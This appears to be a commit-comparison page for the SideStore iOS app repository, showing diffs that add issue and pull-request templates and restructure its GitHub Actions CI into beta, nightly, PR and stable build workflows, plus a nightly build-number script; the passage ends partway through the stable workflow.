Compare commits
184 Commits
0.1.1
...
feature/f1
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8029a34410 | ||
|
|
48e0b37b4d | ||
|
|
99cb43bbea | ||
|
|
ca7d8277f7 | ||
|
|
337d26333e | ||
|
|
ebb64d255b | ||
|
|
7dcb199f68 | ||
|
|
4334e887de | ||
|
|
4e84dc4cc8 | ||
|
|
1a1ed072bf | ||
|
|
ae457f07c4 | ||
|
|
00095942c3 | ||
|
|
d1caa5fc21 | ||
|
|
813e2f97ac | ||
|
|
bcb5a90f5e | ||
|
|
020a1a3149 | ||
|
|
c4d649ec58 | ||
|
|
c02cf2c284 | ||
|
|
c30afd042e | ||
|
|
17640fe6cf | ||
|
|
2e4f6ee420 | ||
|
|
a3768d9221 | ||
|
|
80c3390363 | ||
|
|
a5e3869d8f | ||
|
|
aa7d7c2d02 | ||
|
|
015f205569 | ||
|
|
e59fb15926 | ||
|
|
173c585f2d | ||
|
|
6f8c27793e | ||
|
|
332b81c803 | ||
|
|
4b343b500d | ||
|
|
e87c537642 | ||
|
|
2e6300cce2 | ||
|
|
09514d15a6 | ||
|
|
0de23dcba0 | ||
|
|
2337043466 | ||
|
|
cc6b048b9c | ||
|
|
bacb153151 | ||
|
|
108f7a936d | ||
|
|
a01aa299d8 | ||
|
|
44edbddbd8 | ||
|
|
46945bc087 | ||
|
|
486b3d12bd | ||
|
|
0dc0ff8151 | ||
|
|
b2a1fdb6ee | ||
|
|
79d677cf3c | ||
|
|
be39b6512f | ||
|
|
fcfeea35da | ||
|
|
7d0eb8c61e | ||
|
|
4d8438a6b6 | ||
|
|
f611244e35 | ||
|
|
546a978d3b | ||
|
|
70b23fb073 | ||
|
|
a56ca597d6 | ||
|
|
679e0228a8 | ||
|
|
e153394323 | ||
|
|
5bd1fcfcfd | ||
|
|
2a392ddc44 | ||
|
|
b5cb8bc0d9 | ||
|
|
fa170bcf98 | ||
|
|
7939d46949 | ||
|
|
ab9df8201a | ||
|
|
4a670ec091 | ||
|
|
10e57e59c4 | ||
|
|
b9ec43ef34 | ||
|
|
42197cd375 | ||
|
|
704852973b | ||
|
|
056b4200df | ||
|
|
250a7d8627 | ||
|
|
1ba51e161e | ||
|
|
32e58af896 | ||
|
|
312fa6fe76 | ||
|
|
afbe0837ba | ||
|
|
36ad2a720f | ||
|
|
901e3b14bb | ||
|
|
588d209f7b | ||
|
|
554c54e6be | ||
|
|
b0fac34ffc | ||
|
|
5ede9f7c6b | ||
|
|
c7254fd23e | ||
|
|
55fcea04af | ||
|
|
c212c0a6b2 | ||
|
|
a31fd6709a | ||
|
|
e367fd2b73 | ||
|
|
1ca67d0241 | ||
|
|
8ffa952ff9 | ||
|
|
da246fa30b | ||
|
|
13f306742e | ||
|
|
f3815dc45e | ||
|
|
d086254012 | ||
|
|
bc4d5ba097 | ||
|
|
c556783fe3 | ||
|
|
5fba4c12aa | ||
|
|
7e0dde3ece | ||
|
|
fc03e83531 | ||
|
|
4c441077c7 | ||
|
|
4a5ca81e9a | ||
|
|
75eebe8f8c | ||
|
|
271a8cdac5 | ||
|
|
25103c1188 | ||
|
|
d81058e606 | ||
|
|
693df54b3b | ||
|
|
ae6ed99dc4 | ||
|
|
14bd58e741 | ||
|
|
6d35a7a4ba | ||
|
|
46b0d1ceac | ||
|
|
67a66d2fcd | ||
|
|
43e90b57ea | ||
|
|
c80740e590 | ||
|
|
54ccb9611e | ||
|
|
8fcb897800 | ||
|
|
699eda5d1b | ||
|
|
d7d0a83550 | ||
|
|
e3c331c911 | ||
|
|
eda4dd6aec | ||
|
|
8ad7be474d | ||
|
|
a64435f155 | ||
|
|
fa160124d2 | ||
|
|
5765cb8330 | ||
|
|
f472b227bb | ||
|
|
d2b419c42e | ||
|
|
09d4de660f | ||
|
|
728dcd8523 | ||
|
|
93cf9bf6a9 | ||
|
|
50841f5e24 | ||
|
|
fc6d92d1fc | ||
|
|
7162a029bb | ||
|
|
d797ddd668 | ||
|
|
989e8c3aa6 | ||
|
|
08b79af242 | ||
|
|
0d2f346a30 | ||
|
|
39f1d5f5fd | ||
|
|
05008bb7f8 | ||
|
|
be90d6fc45 | ||
|
|
a1bcdf9924 | ||
|
|
b0e001393c | ||
|
|
2d08941f6a | ||
|
|
d0fef1f312 | ||
|
|
68342cb0d4 | ||
|
|
2b419212a7 | ||
|
|
b2cbc7e34d | ||
|
|
61247e575b | ||
|
|
31e18266d1 | ||
|
|
df8a8de889 | ||
|
|
8a037d6b29 | ||
|
|
47b555b98c | ||
|
|
0c2dae475e | ||
|
|
dc676d04d8 | ||
|
|
15b54bff50 | ||
|
|
47bd4b4c0b | ||
|
|
3c8b36ddfe | ||
|
|
608df3fddd | ||
|
|
c092c285ee | ||
|
|
93b745e379 | ||
|
|
c18db77ade | ||
|
|
2c0b167e6b | ||
|
|
313254d0c8 | ||
|
|
6f519c97d3 | ||
|
|
17a3e16b1d | ||
|
|
8199358088 | ||
|
|
412928eeaa | ||
|
|
51e1b935bd | ||
|
|
742b51e5e2 | ||
|
|
fdb5e2eebb | ||
|
|
0192f64cd2 | ||
|
|
193298ac87 | ||
|
|
a81cb81799 | ||
|
|
ad8a7fdc9b | ||
|
|
5440afcebe | ||
|
|
715d7e664c | ||
|
|
aa182cfa68 | ||
|
|
f92dd7a872 | ||
|
|
b02b9197d0 | ||
|
|
86d02be70c | ||
|
|
cb990978ee | ||
|
|
a103202c92 | ||
|
|
9d7b133037 | ||
|
|
f727f2a1a9 | ||
|
|
03034768d9 | ||
|
|
aed3e20e08 | ||
|
|
74bac6d986 | ||
|
|
7ebecc353a | ||
|
|
f0302b0d1e | ||
|
|
0b004ad089 |
2
.github/CODEOWNERS
vendored
@@ -1 +1 @@
|
|||||||
* @JoeMatt @lonkelle @jkcoxson
|
* @JoeMatt @lonkelle
|
||||||
|
|||||||
40
.github/ISSUE_TEMPLATE/bug_report.yml
vendored
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
name: Bug Report
|
||||||
|
description: Report a bug
|
||||||
|
title: "[BUG] "
|
||||||
|
labels: ["bug"]
|
||||||
|
assignees:
|
||||||
|
- naturecodevoid
|
||||||
|
body:
|
||||||
|
- type: markdown
|
||||||
|
attributes:
|
||||||
|
value: |
|
||||||
|
Thanks for taking the time to fill out this bug report! Before you continue filling out the report, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the bug you are experiencing** in case it has already been reported.
|
||||||
|
|
||||||
|
**Please use [Discord](https://discord.gg/RgpFBX3Q3k) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
|
||||||
|
- type: textarea
|
||||||
|
id: description
|
||||||
|
attributes:
|
||||||
|
label: Describe the bug
|
||||||
|
description: What is the bug and how did you discover it?
|
||||||
|
placeholder: Please be clear and concise with your description.
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
- type: textarea
|
||||||
|
id: how-to-reproduce
|
||||||
|
attributes:
|
||||||
|
label: Instructions to reproduce
|
||||||
|
description: Please include clear and consistent instructions for reproducing the bug to make it easier for us to fix it.
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
- type: input
|
||||||
|
id: app-version
|
||||||
|
attributes:
|
||||||
|
label: What version of SideStore are you using?
|
||||||
|
description: To retrieve this, go to `Settings` in the SideStore app and scroll down to the bottom.
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
- type: textarea
|
||||||
|
id: other-info
|
||||||
|
attributes:
|
||||||
|
label: Other info
|
||||||
|
description: If you have any other comments, other info that might be useful, or if you found a workaround, please put it here.
|
||||||
10
.github/ISSUE_TEMPLATE/config.yml
vendored
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
# force issue template usage
|
||||||
|
blank_issues_enabled: false
|
||||||
|
|
||||||
|
contact_links:
|
||||||
|
- name: Discord
|
||||||
|
url: https://discord.gg/RgpFBX3Q3k
|
||||||
|
about: If you need support, please go here first instead of making an issue!
|
||||||
|
- name: GitHub Discussions
|
||||||
|
url: https://github.com/SideStore/SideStore/discussions
|
||||||
|
about: As an alternative to Discord, you can also make a new GitHub discussion.
|
||||||
33
.github/ISSUE_TEMPLATE/feature_request.yml
vendored
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
name: Feature Request
|
||||||
|
description: Suggest a feature
|
||||||
|
title: "[FEATURE REQUEST] "
|
||||||
|
labels: ["enhancement"]
|
||||||
|
assignees:
|
||||||
|
- naturecodevoid
|
||||||
|
body:
|
||||||
|
- type: markdown
|
||||||
|
attributes:
|
||||||
|
value: |
|
||||||
|
Thanks for taking the time to fill out this feature request! Before you continue filling out the form, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the feature you are suggestion** in case it has already been suggested.
|
||||||
|
|
||||||
|
**Please use [Discord](https://discord.gg/RgpFBX3Q3k) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
|
||||||
|
- type: textarea
|
||||||
|
id: description
|
||||||
|
attributes:
|
||||||
|
label: Describe the feature
|
||||||
|
description: What is the feature? How would it work?
|
||||||
|
placeholder: Please be clear and concise with your description.
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
- type: textarea
|
||||||
|
id: use-cases
|
||||||
|
attributes:
|
||||||
|
label: Use cases
|
||||||
|
description: Please include multiple use cases where this feature would be useful.
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
- type: textarea
|
||||||
|
id: alternatives
|
||||||
|
attributes:
|
||||||
|
label: Alternatives
|
||||||
|
description: If you have alternative ideas of how this feature could work, you can put them here.
|
||||||
15
.github/pull_request_template.md
vendored
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
### Changes
|
||||||
|
|
||||||
|
<!-- Fill this list with what your PR changes. Example: -->
|
||||||
|
- Fix bug
|
||||||
|
- Change UI for QOL
|
||||||
|
|
||||||
|
<!-- If your PR is ready to be merged, you can remove this section. -->
|
||||||
|
### Todo before merge
|
||||||
|
|
||||||
|
<!-- Example: -->
|
||||||
|
- [x] Finish UI changes
|
||||||
|
- [ ] Test
|
||||||
|
|
||||||
|
<!-- If your PR doesn't close an issue, you can remove the next line. -->
|
||||||
|
Closes #1234
|
||||||
22
.github/workflows/attach_build_products.yml
vendored
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
name: Add artifact links to pull request and related issues
|
||||||
|
on:
|
||||||
|
workflow_run:
|
||||||
|
workflows: [Pull Request SideStore build]
|
||||||
|
types: [completed]
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
artifacts-url-comments:
|
||||||
|
name: add artifact links to pull request and related issues job
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
if: ${{ github.event.workflow_run.conclusion == 'success' }}
|
||||||
|
steps:
|
||||||
|
- name: add artifact links to pull request and related issues step
|
||||||
|
uses: tonyhallett/artifacts-url-comments@v1.1.0
|
||||||
|
env:
|
||||||
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
with:
|
||||||
|
prefix: Builds for this Pull Request are available at
|
||||||
|
suffix: Have a nice day.
|
||||||
|
format: name
|
||||||
|
addTo: pull
|
||||||
|
# addTo: pullandissues
|
||||||
90
.github/workflows/beta.yml
vendored
Normal file
@@ -0,0 +1,90 @@
|
|||||||
|
name: Beta SideStore build
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
tags:
|
||||||
|
- '[0-9]+.[0-9]+.[0-9]+-beta.[0-9]+' # example: 1.0.0-beta.1
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
build:
|
||||||
|
name: Build and upload SideStore Beta
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
include:
|
||||||
|
- os: 'macos-12'
|
||||||
|
version: '14.2'
|
||||||
|
|
||||||
|
runs-on: ${{ matrix.os }}
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v2
|
||||||
|
with:
|
||||||
|
submodules: recursive
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
run: brew install ldid
|
||||||
|
|
||||||
|
- name: Change version to tag
|
||||||
|
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
|
||||||
|
|
||||||
|
- name: Setup Xcode
|
||||||
|
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||||
|
with:
|
||||||
|
xcode-version: ${{ matrix.version }}
|
||||||
|
|
||||||
|
- name: Build SideStore
|
||||||
|
run: make build | xcpretty && exit ${PIPESTATUS[0]}
|
||||||
|
|
||||||
|
- name: Fakesign app
|
||||||
|
run: make fakesign
|
||||||
|
|
||||||
|
- name: Convert to IPA
|
||||||
|
run: make ipa
|
||||||
|
|
||||||
|
- name: Upload SideStore.ipa Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore.ipa
|
||||||
|
path: SideStore.ipa
|
||||||
|
|
||||||
|
- name: Upload *.dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-dSYM
|
||||||
|
path: ./*.dSYM/
|
||||||
|
|
||||||
|
- name: Get version
|
||||||
|
id: version
|
||||||
|
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: Get current date
|
||||||
|
id: date
|
||||||
|
run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: Get current date in AltStore date form
|
||||||
|
id: date_altstore
|
||||||
|
run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: Upload to new beta release
|
||||||
|
uses: softprops/action-gh-release@v1
|
||||||
|
with:
|
||||||
|
token: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
name: ${{ steps.version.outputs.version }}
|
||||||
|
tag_name: ${{ github.ref_name }}
|
||||||
|
draft: true
|
||||||
|
prerelease: true
|
||||||
|
files: SideStore.ipa
|
||||||
|
body: |
|
||||||
|
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
|
||||||
|
Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal. However, **they might contain bugs and other issues. Use at your own risk!**
|
||||||
|
|
||||||
|
## Changelog
|
||||||
|
|
||||||
|
- TODO
|
||||||
|
|
||||||
|
## Build Info
|
||||||
|
|
||||||
|
Built at (UTC): `${{ steps.date.outputs.date }}`
|
||||||
|
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
|
||||||
|
Commit SHA: `${{ github.sha }}`
|
||||||
|
Version: `${{ steps.version.outputs.version }}`
|
||||||
100
.github/workflows/build.yml
vendored
@@ -1,100 +0,0 @@
|
|||||||
name: Build and Upload SideStore
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- master
|
|
||||||
- develop
|
|
||||||
pull_request:
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
build:
|
|
||||||
name: Build and upload SideStore
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
include:
|
|
||||||
- os: 'macos-12'
|
|
||||||
version: '14.0.0'
|
|
||||||
|
|
||||||
runs-on: ${{ matrix.os }}
|
|
||||||
steps:
|
|
||||||
- name: Checkout code
|
|
||||||
uses: actions/checkout@v2
|
|
||||||
with:
|
|
||||||
submodules: recursive
|
|
||||||
|
|
||||||
- name: Cache rust cargo
|
|
||||||
id: cache-rust-cargo
|
|
||||||
uses: actions/cache@v3
|
|
||||||
env:
|
|
||||||
cache-name: cache-rust-cargo
|
|
||||||
with:
|
|
||||||
path: ~/.cargo
|
|
||||||
key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
|
||||||
restore-keys: |
|
|
||||||
${{ runner.os }}-build-${{ env.cache-name }}-
|
|
||||||
${{ runner.os }}-build-
|
|
||||||
${{ runner.os }}-
|
|
||||||
|
|
||||||
- name: Cache rust minimuxer
|
|
||||||
id: cache-rust-minimuxer
|
|
||||||
uses: actions/cache@v3
|
|
||||||
env:
|
|
||||||
cache-name: cache-rust-minimuxer
|
|
||||||
with:
|
|
||||||
path: ./Dependencies/minimuxer/target
|
|
||||||
key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
|
||||||
restore-keys: |
|
|
||||||
${{ runner.os }}-build-${{ env.cache-name }}-
|
|
||||||
${{ runner.os }}-build-
|
|
||||||
${{ runner.os }}-
|
|
||||||
|
|
||||||
- name: Cache rust em_proxy
|
|
||||||
id: cache-rust-em_proxy
|
|
||||||
uses: actions/cache@v3
|
|
||||||
env:
|
|
||||||
cache-name: cache-rust-em_proxy
|
|
||||||
with:
|
|
||||||
path: ./Dependencies/em_proxy/target
|
|
||||||
key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
|
||||||
restore-keys: |
|
|
||||||
${{ runner.os }}-build-${{ env.cache-name }}-
|
|
||||||
${{ runner.os }}-build-
|
|
||||||
${{ runner.os }}-
|
|
||||||
|
|
||||||
- name: Install dependencies
|
|
||||||
run: brew install ldid
|
|
||||||
- name: Install rustup
|
|
||||||
uses: actions-rs/toolchain@v1
|
|
||||||
with:
|
|
||||||
toolchain: stable
|
|
||||||
override: true
|
|
||||||
target: aarch64-apple-ios
|
|
||||||
- name: Create emotional damage
|
|
||||||
run: cd Dependencies/em_proxy && cargo build --release --target aarch64-apple-ios
|
|
||||||
- name: Build minimuxer
|
|
||||||
run: cd Dependencies/minimuxer && cargo build --release --target aarch64-apple-ios
|
|
||||||
- name: Setup Xcode
|
|
||||||
uses: maxim-lobanov/setup-xcode@v1.4.1
|
|
||||||
with:
|
|
||||||
xcode-version: ${{ matrix.version }}
|
|
||||||
- name: Build SideStore
|
|
||||||
run: |
|
|
||||||
rm -rf ~/Library/Developer/Xcode/DerivedData/
|
|
||||||
rm ./AltStore.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved
|
|
||||||
xcodebuild -project AltStore.xcodeproj -scheme AltStore -sdk iphoneos archive -archivePath ./archive CODE_SIGNING_REQUIRED=NO AD_HOC_CODE_SIGNING_ALLOWED=YES CODE_SIGNING_ALLOWED=NO DEVELOPMENT_TEAM=XYZ0123456 ORG_IDENTIFIER=com.SideStore | xcpretty && exit ${PIPESTATUS[0]}
|
|
||||||
- name: Fakesign app
|
|
||||||
run: |
|
|
||||||
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
|
|
||||||
ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
|
|
||||||
- name: Convert to IPA
|
|
||||||
run: |
|
|
||||||
mkdir Payload
|
|
||||||
mkdir Payload/SideStore.app
|
|
||||||
cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
|
|
||||||
zip -r SideStore.ipa Payload
|
|
||||||
- name: Upload Artifact
|
|
||||||
uses: actions/upload-artifact@v3.1.0
|
|
||||||
with:
|
|
||||||
name: SideStore.ipa
|
|
||||||
path: SideStore.ipa
|
|
||||||
28
.github/workflows/increase-nightly-build-num.sh
vendored
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
|
||||||
|
# Ensure we are in root directory
|
||||||
|
cd "$(dirname "$0")/../.."
|
||||||
|
|
||||||
|
DATE=`date -u +'%Y.%m.%d'`
|
||||||
|
BUILD_NUM=1
|
||||||
|
|
||||||
|
write() {
|
||||||
|
sed -e "/MARKETING_VERSION = .*/s/$/-nightly.$DATE.$BUILD_NUM/" -i '' Build.xcconfig
|
||||||
|
echo "$DATE,$BUILD_NUM" > .nightly-build-num
|
||||||
|
}
|
||||||
|
|
||||||
|
if [ ! -f ".nightly-build-num" ]; then
|
||||||
|
write
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
LAST_DATE=`cat .nightly-build-num | perl -n -e '/([^,]*),([^ ]*)$/ && print $1'`
|
||||||
|
LAST_BUILD_NUM=`cat .nightly-build-num | perl -n -e '/([^,]*),([^ ]*)$/ && print $2'`
|
||||||
|
|
||||||
|
if [[ "$DATE" != "$LAST_DATE" ]]; then
|
||||||
|
write
|
||||||
|
else
|
||||||
|
BUILD_NUM=`expr $LAST_BUILD_NUM + 1`
|
||||||
|
write
|
||||||
|
fi
|
||||||
|
|
||||||
100
.github/workflows/nightly.yml
vendored
Normal file
@@ -0,0 +1,100 @@
|
|||||||
|
name: Nightly SideStore build
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- develop
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
build:
|
||||||
|
name: Build and upload SideStore Nightly
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.ref }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
include:
|
||||||
|
- os: 'macos-12'
|
||||||
|
version: '14.2'
|
||||||
|
|
||||||
|
runs-on: ${{ matrix.os }}
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v2
|
||||||
|
with:
|
||||||
|
submodules: recursive
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
run: brew install ldid
|
||||||
|
|
||||||
|
- name: Cache .nightly-build-num
|
||||||
|
uses: actions/cache@v3
|
||||||
|
with:
|
||||||
|
path: .nightly-build-num
|
||||||
|
key: nightly-build-num
|
||||||
|
|
||||||
|
- name: Increase nightly build number and set as version
|
||||||
|
run: bash .github/workflows/increase-nightly-build-num.sh
|
||||||
|
|
||||||
|
- name: Setup Xcode
|
||||||
|
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||||
|
with:
|
||||||
|
xcode-version: ${{ matrix.version }}
|
||||||
|
|
||||||
|
- name: Build SideStore
|
||||||
|
run: make build | xcpretty && exit ${PIPESTATUS[0]}
|
||||||
|
|
||||||
|
- name: Fakesign app
|
||||||
|
run: make fakesign
|
||||||
|
|
||||||
|
- name: Convert to IPA
|
||||||
|
run: make ipa
|
||||||
|
|
||||||
|
- name: Upload SideStore.ipa Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore.ipa
|
||||||
|
path: SideStore.ipa
|
||||||
|
|
||||||
|
- name: Upload *.dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-dSYM
|
||||||
|
path: ./*.dSYM/
|
||||||
|
|
||||||
|
- name: Get version
|
||||||
|
id: version
|
||||||
|
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: Get current date
|
||||||
|
id: date
|
||||||
|
run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: Get current date in AltStore date form
|
||||||
|
id: date_altstore
|
||||||
|
run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: Upload to nightly release
|
||||||
|
uses: IsaacShelton/update-existing-release@v1.3.1
|
||||||
|
with:
|
||||||
|
token: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
release: "Nightly"
|
||||||
|
tag: "nightly"
|
||||||
|
prerelease: true
|
||||||
|
files: SideStore.ipa
|
||||||
|
body: |
|
||||||
|
This is an ⚠️ **EXPERIMENTAL** ⚠️ nightly build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}).
|
||||||
|
|
||||||
|
Nightly builds are **extremely experimental builds only meant to be used by developers and alpha testers. They often contain bugs and experimental features. Use at your own risk!**
|
||||||
|
|
||||||
|
If you want to try out new features early but want a lower chance of bugs, you can look at [SideStore Beta](https://github.com/${{ github.repository }}/releases?q=beta).
|
||||||
|
|
||||||
|
## Build Info
|
||||||
|
|
||||||
|
Built at (UTC): `${{ steps.date.outputs.date }}`
|
||||||
|
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
|
||||||
|
Commit SHA: `${{ github.sha }}`
|
||||||
|
Version: `${{ steps.version.outputs.version }}`
|
||||||
|
|
||||||
|
- name: Reset cache for apps.sidestore.io/nightly
|
||||||
|
run: sleep 10 && curl https://apps.sidestore.io/reset-cache/nightly/${{ secrets.SIDESOURCE_KEY }}
|
||||||
52
.github/workflows/pr.yml
vendored
Normal file
@@ -0,0 +1,52 @@
|
|||||||
|
name: Pull Request SideStore build
|
||||||
|
on:
|
||||||
|
pull_request:
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
build:
|
||||||
|
name: Build and upload SideStore
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
include:
|
||||||
|
- os: 'macos-12'
|
||||||
|
version: '14.2'
|
||||||
|
|
||||||
|
runs-on: ${{ matrix.os }}
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v2
|
||||||
|
with:
|
||||||
|
submodules: recursive
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
run: brew install ldid
|
||||||
|
|
||||||
|
- name: Add PR suffix to version
|
||||||
|
run: sed -e "/MARKETING_VERSION = .*/s/\$/-pr.${{ github.event.pull_request.number }}+$(git rev-parse --short HEAD)/" -i '' Build.xcconfig
|
||||||
|
|
||||||
|
- name: Setup Xcode
|
||||||
|
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||||
|
with:
|
||||||
|
xcode-version: ${{ matrix.version }}
|
||||||
|
|
||||||
|
- name: Build SideStore
|
||||||
|
run: make build | xcpretty && exit ${PIPESTATUS[0]}
|
||||||
|
|
||||||
|
- name: Fakesign app
|
||||||
|
run: make fakesign
|
||||||
|
|
||||||
|
- name: Convert to IPA
|
||||||
|
run: make ipa
|
||||||
|
|
||||||
|
- name: Upload SideStore.ipa Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore.ipa
|
||||||
|
path: SideStore.ipa
|
||||||
|
|
||||||
|
- name: Upload *.dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-dSYM
|
||||||
|
path: ./*.dSYM/
|
||||||
87
.github/workflows/stable.yml
vendored
Normal file
@@ -0,0 +1,87 @@
|
|||||||
|
name: Stable SideStore build
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
tags:
|
||||||
|
- '[0-9]+.[0-9]+.[0-9]+' # example: 1.0.0
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
build:
|
||||||
|
name: Build and upload SideStore
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
include:
|
||||||
|
- os: 'macos-12'
|
||||||
|
version: '14.2'
|
||||||
|
|
||||||
|
runs-on: ${{ matrix.os }}
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v2
|
||||||
|
with:
|
||||||
|
submodules: recursive
|
||||||
|
|
||||||
|
- name: Install dependencies
|
||||||
|
run: brew install ldid
|
||||||
|
|
||||||
|
- name: Change version to tag
|
||||||
|
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
|
||||||
|
|
||||||
|
- name: Setup Xcode
|
||||||
|
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||||
|
with:
|
||||||
|
xcode-version: ${{ matrix.version }}
|
||||||
|
|
||||||
|
- name: Build SideStore
|
||||||
|
run: make build | xcpretty && exit ${PIPESTATUS[0]}
|
||||||
|
|
||||||
|
- name: Fakesign app
|
||||||
|
run: make fakesign
|
||||||
|
|
||||||
|
- name: Convert to IPA
|
||||||
|
run: make ipa
|
||||||
|
|
||||||
|
- name: Upload SideStore.ipa Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore.ipa
|
||||||
|
path: SideStore.ipa
|
||||||
|
|
||||||
|
- name: Upload *.dSYM Artifact
|
||||||
|
uses: actions/upload-artifact@v3.1.0
|
||||||
|
with:
|
||||||
|
name: SideStore-dSYM
|
||||||
|
path: ./*.dSYM/
|
||||||
|
|
||||||
|
- name: Get version
|
||||||
|
id: version
|
||||||
|
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: Get current date
|
||||||
|
id: date
|
||||||
|
run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: Get current date in AltStore date form
|
||||||
|
id: date_altstore
|
||||||
|
run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT
|
||||||
|
|
||||||
|
- name: Upload to new stable release
|
||||||
|
uses: softprops/action-gh-release@v1
|
||||||
|
with:
|
||||||
|
token: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
name: ${{ steps.version.outputs.version }}
|
||||||
|
tag_name: ${{ github.ref_name }}
|
||||||
|
draft: true
|
||||||
|
files: SideStore.ipa
|
||||||
|
body: |
|
||||||
|
